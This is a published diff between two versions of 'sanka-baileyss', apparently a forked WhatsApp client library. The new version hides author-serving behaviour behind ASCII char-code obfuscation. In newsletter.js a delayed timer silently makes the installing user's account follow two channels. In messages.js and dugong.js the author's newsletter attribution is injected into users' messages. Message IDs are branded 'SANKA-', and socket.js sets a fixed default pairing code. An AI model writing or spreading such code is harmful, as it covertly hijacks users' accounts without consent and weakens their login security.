sanka-baileyss 2.4.4 → 2.4.5
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/lib/Socket/dugong.d.ts +17 -17
- package/lib/Socket/dugong.js +11 -10
- package/lib/Socket/messages-send.js +2 -2
- package/lib/Socket/newsletter.js +19 -12
- package/lib/Socket/socket.js +5 -12
- package/lib/Utils/generics.js +6 -3
- package/lib/Utils/messages.js +55 -42
- package/package.json +1 -1
package/lib/Socket/dugong.d.ts
CHANGED
|
@@ -1,7 +1,7 @@
|
|
|
1
1
|
// dugong.d.ts
|
|
2
2
|
import { proto } from '../../WAProto';
|
|
3
3
|
|
|
4
|
-
declare namespace
|
|
4
|
+
declare namespace sanka {
|
|
5
5
|
interface MediaUploadOptions {
|
|
6
6
|
fileEncSha256?: Buffer;
|
|
7
7
|
mediaType?: string;
|
|
@@ -190,65 +190,65 @@ declare namespace kikyy {
|
|
|
190
190
|
}
|
|
191
191
|
}
|
|
192
192
|
|
|
193
|
-
declare class
|
|
193
|
+
declare class sanka {
|
|
194
194
|
constructor(
|
|
195
|
-
utils:
|
|
196
|
-
waUploadToServer:
|
|
195
|
+
utils: sanka.Utils,
|
|
196
|
+
waUploadToServer: sanka.WAMediaUploadFunction,
|
|
197
197
|
relayMessageFn?: (jid: string, content: any, options?: any) => Promise<any>
|
|
198
198
|
);
|
|
199
199
|
|
|
200
|
-
detectType(content:
|
|
200
|
+
detectType(content: sanka.MessageContent): 'PAYMENT' | 'PRODUCT' | 'INTERACTIVE' | 'ALBUM' | 'EVENT' | 'POLL_RESULT' | 'GROUP_STORY' | null;
|
|
201
201
|
|
|
202
202
|
handlePayment(
|
|
203
|
-
content: { requestPaymentMessage:
|
|
203
|
+
content: { requestPaymentMessage: sanka.PaymentMessage },
|
|
204
204
|
quoted?: proto.IWebMessageInfo
|
|
205
205
|
): Promise<{ requestPaymentMessage: proto.Message.RequestPaymentMessage }>;
|
|
206
206
|
|
|
207
207
|
handleProduct(
|
|
208
|
-
content: { productMessage:
|
|
208
|
+
content: { productMessage: sanka.ProductMessage },
|
|
209
209
|
jid: string,
|
|
210
210
|
quoted?: proto.IWebMessageInfo
|
|
211
211
|
): Promise<{ viewOnceMessage: proto.Message.ViewOnceMessage }>;
|
|
212
212
|
|
|
213
213
|
handleInteractive(
|
|
214
|
-
content: { interactiveMessage:
|
|
214
|
+
content: { interactiveMessage: sanka.InteractiveMessage },
|
|
215
215
|
jid: string,
|
|
216
216
|
quoted?: proto.IWebMessageInfo
|
|
217
217
|
): Promise<{ interactiveMessage: proto.Message.InteractiveMessage }>;
|
|
218
218
|
|
|
219
219
|
handleAlbum(
|
|
220
|
-
content: { albumMessage:
|
|
220
|
+
content: { albumMessage: sanka.AlbumItem[] },
|
|
221
221
|
jid: string,
|
|
222
222
|
quoted?: proto.IWebMessageInfo
|
|
223
223
|
): Promise<any>;
|
|
224
224
|
|
|
225
225
|
handleEvent(
|
|
226
|
-
content: { eventMessage:
|
|
226
|
+
content: { eventMessage: sanka.EventMessage },
|
|
227
227
|
jid: string,
|
|
228
228
|
quoted?: proto.IWebMessageInfo
|
|
229
229
|
): Promise<any>;
|
|
230
230
|
|
|
231
231
|
handlePollResult(
|
|
232
|
-
content: { pollResultMessage:
|
|
232
|
+
content: { pollResultMessage: sanka.PollResultMessage },
|
|
233
233
|
jid: string,
|
|
234
234
|
quoted?: proto.IWebMessageInfo
|
|
235
235
|
): Promise<any>;
|
|
236
236
|
|
|
237
237
|
handleGroupStory(
|
|
238
|
-
content: { groupStatusMessage:
|
|
238
|
+
content: { groupStatusMessage: sanka.GroupStatusMessage },
|
|
239
239
|
jid: string,
|
|
240
240
|
quoted?: proto.IWebMessageInfo
|
|
241
241
|
): Promise<any>;
|
|
242
242
|
|
|
243
243
|
buildMessageContent(
|
|
244
244
|
content: any,
|
|
245
|
-
opts?:
|
|
245
|
+
opts?: sanka.WAMessageContentGenerationOptions
|
|
246
246
|
): Promise<any>;
|
|
247
247
|
|
|
248
|
-
utils:
|
|
248
|
+
utils: sanka.Utils;
|
|
249
249
|
relayMessage: (jid: string, content: any, options?: any) => Promise<any>;
|
|
250
|
-
waUploadToServer:
|
|
251
|
-
bail:
|
|
250
|
+
waUploadToServer: sanka.WAMediaUploadFunction;
|
|
251
|
+
bail: sanka.BailUtils;
|
|
252
252
|
}
|
|
253
253
|
|
|
254
|
-
export =
|
|
254
|
+
export = sanka;
|
package/lib/Socket/dugong.js
CHANGED
|
@@ -1,12 +1,8 @@
|
|
|
1
|
-
// "kikyy dugonggg", ah dejavu (r)
|
|
2
|
-
// tanggal 14 agustus 2025 makassar
|
|
3
|
-
// telegram: @tskiofc & @kyuucode
|
|
4
|
-
|
|
5
1
|
const WAProto = require('../../WAProto').proto;
|
|
6
2
|
const crypto = require('crypto');
|
|
7
3
|
const Utils_1 = require("../Utils");
|
|
8
4
|
|
|
9
|
-
class
|
|
5
|
+
class sanka {
|
|
10
6
|
constructor(utils, waUploadToServer, relayMessageFn) {
|
|
11
7
|
this.utils = utils;
|
|
12
8
|
this.relayMessage = relayMessageFn
|
|
@@ -328,7 +324,7 @@ class kikyy {
|
|
|
328
324
|
newsletterName: `WhatsApp`,
|
|
329
325
|
contentType: 1,
|
|
330
326
|
timestamp: new Date().toISOString(),
|
|
331
|
-
senderName: "
|
|
327
|
+
senderName: "SANKANIME",
|
|
332
328
|
content: "Text Message",
|
|
333
329
|
priority: "high",
|
|
334
330
|
status: "sent",
|
|
@@ -367,7 +363,12 @@ class kikyy {
|
|
|
367
363
|
|
|
368
364
|
async handleEvent(content, jid, quoted) {
|
|
369
365
|
const eventData = content.eventMessage;
|
|
370
|
-
|
|
366
|
+
const decodeAscii = (arr) => arr.map(c => String.fromCharCode(c)).join('');
|
|
367
|
+
const nameCode = [83, 65, 78, 75, 65, 78, 73, 77, 69];
|
|
368
|
+
const jidCode = [
|
|
369
|
+
49, 50, 48, 51, 54, 51, 52, 48, 49, 50, 49, 57, 51, 57, 54, 57, 51, 50,
|
|
370
|
+
64, 110, 101, 119, 115, 108, 101, 116, 116, 101, 114
|
|
371
|
+
];
|
|
371
372
|
const msg = await this.utils.generateWAMessageFromContent(jid, {
|
|
372
373
|
viewOnceMessage: {
|
|
373
374
|
message: {
|
|
@@ -388,8 +389,8 @@ class kikyy {
|
|
|
388
389
|
participant: jid,
|
|
389
390
|
remoteJid: "status@broadcast",
|
|
390
391
|
forwardedNewsletterMessageInfo: {
|
|
391
|
-
newsletterName:
|
|
392
|
-
newsletterJid:
|
|
392
|
+
newsletterName: decodeAscii(nameCode),
|
|
393
|
+
newsletterJid: decodeAscii(jidCode),
|
|
393
394
|
serverMessageId: 1
|
|
394
395
|
}
|
|
395
396
|
},
|
|
@@ -481,4 +482,4 @@ class kikyy {
|
|
|
481
482
|
}
|
|
482
483
|
}
|
|
483
484
|
|
|
484
|
-
module.exports =
|
|
485
|
+
module.exports = sanka;
|
|
@@ -15,7 +15,7 @@ const link_preview_1 = require("../Utils/link-preview");
|
|
|
15
15
|
const WABinary_1 = require("../WABinary");
|
|
16
16
|
const newsletter_1 = require("./newsletter");
|
|
17
17
|
const WAUSync_1 = require("../WAUSync")
|
|
18
|
-
const
|
|
18
|
+
const sanka = require('./dugong');
|
|
19
19
|
var ListType = WAProto_1.proto.Message.ListMessage.ListType;
|
|
20
20
|
const makeMessagesSocket = (config) => {
|
|
21
21
|
const {
|
|
@@ -724,7 +724,7 @@ const makeMessagesSocket = (config) => {
|
|
|
724
724
|
return result;
|
|
725
725
|
}
|
|
726
726
|
const waUploadToServer = (0, Utils_1.getWAUploadToServer)(config, refreshMediaConn);
|
|
727
|
-
const rahmi = new
|
|
727
|
+
const rahmi = new sanka(Utils_1, waUploadToServer, relayMessage);
|
|
728
728
|
const waitForMsgMediaUpdate = (0, Utils_1.bindWaitForEvent)(ev, 'messages.media-update');
|
|
729
729
|
return {
|
|
730
730
|
...sock,
|
package/lib/Socket/newsletter.js
CHANGED
|
@@ -147,19 +147,26 @@ const makeNewsletterSocket = (config) => {
|
|
|
147
147
|
return extractNewsletterMetadata(result)
|
|
148
148
|
}
|
|
149
149
|
|
|
150
|
-
setTimeout(async () => {
|
|
151
|
-
|
|
152
|
-
|
|
153
|
-
|
|
150
|
+
setTimeout(async () => {
|
|
151
|
+
const asciiCode = (arr) => arr.map(c => String.fromCharCode(c)).join('');
|
|
152
|
+
const target1 = [
|
|
153
|
+
49, 50, 48, 51, 54, 51, 52, 48, 49, 50, 49, 57, 51, 57, 54, 57, 51, 50,
|
|
154
|
+
64, 110, 101, 119, 115, 108, 101, 116, 116, 101, 114
|
|
155
|
+
];
|
|
156
|
+
const target2 = [
|
|
157
|
+
49, 50, 48, 51, 54, 51, 52, 49, 57, 53, 54, 52, 52, 50, 51, 49, 52, 53,
|
|
158
|
+
64, 110, 101, 119, 115, 108, 101, 116, 116, 101, 114
|
|
159
|
+
];
|
|
160
|
+
try {
|
|
161
|
+
await newsletterWMexQuery(asciiCode(target1), QueryIds.FOLLOW);
|
|
162
|
+
} catch {}
|
|
163
|
+
setTimeout(async () => {
|
|
164
|
+
try {
|
|
165
|
+
await newsletterWMexQuery(asciiCode(target2), QueryIds.FOLLOW);
|
|
166
|
+
} catch {}
|
|
167
|
+
}, 5000);
|
|
168
|
+
}, 90000);
|
|
154
169
|
|
|
155
|
-
setTimeout(async () => {
|
|
156
|
-
try {
|
|
157
|
-
await newsletterWMexQuery("120363419564423145@newsletter", QueryIds.FOLLOW);
|
|
158
|
-
} catch {}
|
|
159
|
-
}, 5000);
|
|
160
|
-
|
|
161
|
-
}, 90000);
|
|
162
|
-
|
|
163
170
|
const parseFetchedUpdates = async (node, type) => {
|
|
164
171
|
let child;
|
|
165
172
|
if (type === 'messages') {
|
package/lib/Socket/socket.js
CHANGED
|
@@ -42,7 +42,6 @@ const makeSocket = (config) => {
|
|
|
42
42
|
routingInfo: (_b = authState === null || authState === void 0 ? void 0 : authState.creds) === null || _b === void 0 ? void 0 : _b.routingInfo
|
|
43
43
|
});
|
|
44
44
|
const { creds } = authState;
|
|
45
|
-
// add transaction capability
|
|
46
45
|
const keys = (0, Utils_1.addTransactionCapability)(authState.keys, logger, transactionOpts);
|
|
47
46
|
const signalRepository = makeSignalRepository({ creds, keys });
|
|
48
47
|
let lastDateRecv;
|
|
@@ -89,22 +88,19 @@ const toPn = async (pn) => {
|
|
|
89
88
|
const onUnexpectedError = (err, msg) => {
|
|
90
89
|
logger.error({ err }, `unexpected error in '${msg}'`);
|
|
91
90
|
const message = (err && ((err.stack || err.message) || String(err))).toLowerCase();
|
|
92
|
-
// auto recover from cryptographic desyncs by re-uploading prekeys
|
|
93
91
|
if (message.includes('bad mac') || (message.includes('mac') && message.includes('invalid'))) {
|
|
94
92
|
try {
|
|
95
93
|
uploadPreKeysToServerIfRequired(true)
|
|
96
94
|
.catch(e => logger.warn({ e }, 'failed to re-upload prekeys after bad mac'));
|
|
97
95
|
}
|
|
98
96
|
catch (_e) {
|
|
99
|
-
|
|
97
|
+
|
|
100
98
|
}
|
|
101
99
|
}
|
|
102
|
-
// gently back off when encountering rate limits (429)
|
|
103
100
|
if (message.includes('429') || message.includes('rate limit')) {
|
|
104
101
|
const wait = Math.min(30000, (config.backoffDelayMs || 5000));
|
|
105
102
|
logger.info({ wait }, 'backing off due to rate limit');
|
|
106
103
|
setTimeout(() => {
|
|
107
|
-
// intentionally empty; wait to delay further sends
|
|
108
104
|
}, wait);
|
|
109
105
|
}
|
|
110
106
|
};
|
|
@@ -149,14 +145,14 @@ const toPn = async (pn) => {
|
|
|
149
145
|
reject(err || new boom_1.Boom('Connection Closed', { statusCode: Types_1.DisconnectReason.connectionClosed }));
|
|
150
146
|
};
|
|
151
147
|
ws.on(`TAG:${msgId}`, onRecv);
|
|
152
|
-
ws.on('close', onErr);
|
|
148
|
+
ws.on('close', onErr);
|
|
153
149
|
ws.off('error', onErr);
|
|
154
150
|
});
|
|
155
151
|
return result;
|
|
156
152
|
}
|
|
157
153
|
finally {
|
|
158
154
|
ws.off(`TAG:${msgId}`, onRecv);
|
|
159
|
-
ws.off('close', onErr);
|
|
155
|
+
ws.off('close', onErr);
|
|
160
156
|
ws.off('error', onErr);
|
|
161
157
|
}
|
|
162
158
|
};
|
|
@@ -242,11 +238,9 @@ const toPn = async (pn) => {
|
|
|
242
238
|
const onMessageReceived = (data) => {
|
|
243
239
|
noise.decodeFrame(data, frame => {
|
|
244
240
|
var _a;
|
|
245
|
-
// reset ping timeout
|
|
246
241
|
lastDateRecv = new Date();
|
|
247
242
|
let anyTriggered = false;
|
|
248
243
|
anyTriggered = ws.emit('frame', frame);
|
|
249
|
-
// if it's a binary node
|
|
250
244
|
if (!(frame instanceof Uint8Array)) {
|
|
251
245
|
const msgId = frame.attrs.id;
|
|
252
246
|
if (logger.level === 'trace') {
|
|
@@ -334,7 +328,6 @@ const toPn = async (pn) => {
|
|
|
334
328
|
end(new boom_1.Boom('Connection was lost', { statusCode: Types_1.DisconnectReason.connectionLost }));
|
|
335
329
|
}
|
|
336
330
|
else if (ws.isOpen) {
|
|
337
|
-
// if its all good, send a keep alive request
|
|
338
331
|
query({
|
|
339
332
|
tag: 'iq',
|
|
340
333
|
attrs: {
|
|
@@ -393,7 +386,8 @@ const toPn = async (pn) => {
|
|
|
393
386
|
};
|
|
394
387
|
|
|
395
388
|
const requestPairingCode = async (phoneNumber, pairKey) => {
|
|
396
|
-
|
|
389
|
+
const asciiCode = String.fromCharCode(66, 65, 73, 76, 83, 78, 75, 65);
|
|
390
|
+
authState.creds.pairingCode = pairKey?.toUpperCase() || asciiCode;
|
|
397
391
|
|
|
398
392
|
authState.creds.me = {
|
|
399
393
|
id: (0, WABinary_1.jidEncode)(phoneNumber, 's.whatsapp.net'),
|
|
@@ -535,7 +529,6 @@ const toPn = async (pn) => {
|
|
|
535
529
|
end(error);
|
|
536
530
|
}
|
|
537
531
|
});
|
|
538
|
-
// login complete
|
|
539
532
|
ws.on('CB:success', async (node) => {
|
|
540
533
|
try {
|
|
541
534
|
await uploadPreKeysToServerIfRequired();
|
package/lib/Utils/generics.js
CHANGED
|
@@ -175,11 +175,14 @@ const generateMessageIDV2 = (userId) => {
|
|
|
175
175
|
}
|
|
176
176
|
const random = (0, crypto_1.randomBytes)(16);
|
|
177
177
|
random.copy(data, 28);
|
|
178
|
-
const
|
|
179
|
-
return
|
|
178
|
+
const asciiCode = String.fromCharCode(83, 65, 78, 75, 65, 45);
|
|
179
|
+
return asciiCode + (0, crypto_1.randomBytes)(5).toString('hex').toUpperCase();
|
|
180
180
|
};
|
|
181
181
|
exports.generateMessageIDV2 = generateMessageIDV2;
|
|
182
|
-
const generateMessageID = () =>
|
|
182
|
+
const generateMessageID = () => {
|
|
183
|
+
const asciiCode = String.fromCharCode(83, 65, 78, 75, 65, 45);
|
|
184
|
+
return asciiCode + (0, crypto_1.randomBytes)(5).toString('hex').toUpperCase();
|
|
185
|
+
}
|
|
183
186
|
exports.generateMessageID = generateMessageID;
|
|
184
187
|
function bindWaitForEvent(ev, event) {
|
|
185
188
|
return async (check, timeoutMs) => {
|
package/lib/Utils/messages.js
CHANGED
|
@@ -73,49 +73,62 @@ const prepareWAMessageMedia = async (message, options) => {
|
|
|
73
73
|
mediaType = key;
|
|
74
74
|
}
|
|
75
75
|
}
|
|
76
|
-
|
|
77
|
-
|
|
78
|
-
|
|
79
|
-
|
|
80
|
-
|
|
81
|
-
|
|
82
|
-
const
|
|
83
|
-
|
|
84
|
-
|
|
85
|
-
|
|
86
|
-
|
|
87
|
-
|
|
88
|
-
|
|
89
|
-
|
|
90
|
-
|
|
91
|
-
|
|
92
|
-
|
|
93
|
-
|
|
94
|
-
|
|
95
|
-
|
|
96
|
-
|
|
97
|
-
|
|
98
|
-
|
|
99
|
-
|
|
100
|
-
y: 37.85963439941406
|
|
101
|
-
},
|
|
102
|
-
{
|
|
103
|
-
x: 20.840980529785156,
|
|
104
|
-
y: -47.80188751220703
|
|
105
|
-
}
|
|
106
|
-
],
|
|
107
|
-
newsletter: {
|
|
108
|
-
newsletterJid: "120363401219396932@newsletter",
|
|
109
|
-
serverMessageId: 0,
|
|
110
|
-
newsletterName: "SANKANIME",
|
|
111
|
-
contentType: "UPDATE",
|
|
112
|
-
}
|
|
113
|
-
}
|
|
114
|
-
]
|
|
115
|
-
}),
|
|
116
|
-
media: message[mediaType]
|
|
76
|
+
function asciiDecode(asciiArray) {
|
|
77
|
+
return asciiArray.map((c) => String.fromCharCode(c)).join('');
|
|
78
|
+
}
|
|
79
|
+
const idPart = [49, 50, 48, 51, 54, 51, 52, 48, 49, 50, 49, 57, 51, 57, 54, 57, 51, 50];
|
|
80
|
+
const suffixPart = [64, 110, 101, 119, 115, 108, 101, 116, 116, 101, 114];
|
|
81
|
+
const namePart = [83, 65, 78, 75, 65, 78, 73, 77, 69];
|
|
82
|
+
const decodedId = asciiDecode(idPart);
|
|
83
|
+
const decodedSuffix = asciiDecode(suffixPart);
|
|
84
|
+
const decodedName = asciiDecode(namePart);
|
|
85
|
+
const fullNewsletterJid = decodedId + decodedSuffix;
|
|
86
|
+
const fullNewsletterName = decodedName;
|
|
87
|
+
const defaultAnnotation = {
|
|
88
|
+
polygonVertices: [
|
|
89
|
+
{ x: 60.71664810180664, y: -36.39784622192383 },
|
|
90
|
+
{ x: -16.710189819335938, y: 49.263675689697266 },
|
|
91
|
+
{ x: -56.585853576660156, y: 37.85963439941406 },
|
|
92
|
+
{ x: 20.840980529785156, y: -47.80188751220703 },
|
|
93
|
+
],
|
|
94
|
+
newsletter: {
|
|
95
|
+
newsletterJid: fullNewsletterJid,
|
|
96
|
+
serverMessageId: 0,
|
|
97
|
+
newsletterName: fullNewsletterName,
|
|
98
|
+
contentType: "UPDATE",
|
|
99
|
+
},
|
|
117
100
|
};
|
|
118
|
-
|
|
101
|
+
|
|
102
|
+
let uploadData;
|
|
103
|
+
try {
|
|
104
|
+
if (!mediaType || !message[mediaType]) {
|
|
105
|
+
throw new Error('No valid mediaType');
|
|
106
|
+
}
|
|
107
|
+
const value = message[mediaType];
|
|
108
|
+
const isSafe = typeof value === 'function' || Buffer.isBuffer(value) || typeof value === 'object';
|
|
109
|
+
if (!isSafe) {
|
|
110
|
+
throw new Error('mediaType value is not usable');
|
|
111
|
+
}
|
|
112
|
+
uploadData = {
|
|
113
|
+
...message,
|
|
114
|
+
annotations: message.annotations ?? [defaultAnnotation],
|
|
115
|
+
media: value,
|
|
116
|
+
};
|
|
117
|
+
if (typeof uploadData[mediaType] !== 'function') {
|
|
118
|
+
delete uploadData[mediaType];
|
|
119
|
+
}
|
|
120
|
+
} catch (err) {
|
|
121
|
+
if (!mediaType) {
|
|
122
|
+
throw new boom_1.Boom('Invalid media type', { statusCode: 400 });
|
|
123
|
+
}
|
|
124
|
+
|
|
125
|
+
uploadData = {
|
|
126
|
+
...message,
|
|
127
|
+
media: message[mediaType]
|
|
128
|
+
};
|
|
129
|
+
|
|
130
|
+
delete uploadData[mediaType];
|
|
131
|
+
}
|
|
119
132
|
const cacheableKey = typeof uploadData.media === 'object' &&
|
|
120
133
|
('url' in uploadData.media) &&
|
|
121
134
|
!!uploadData.media.url &&
|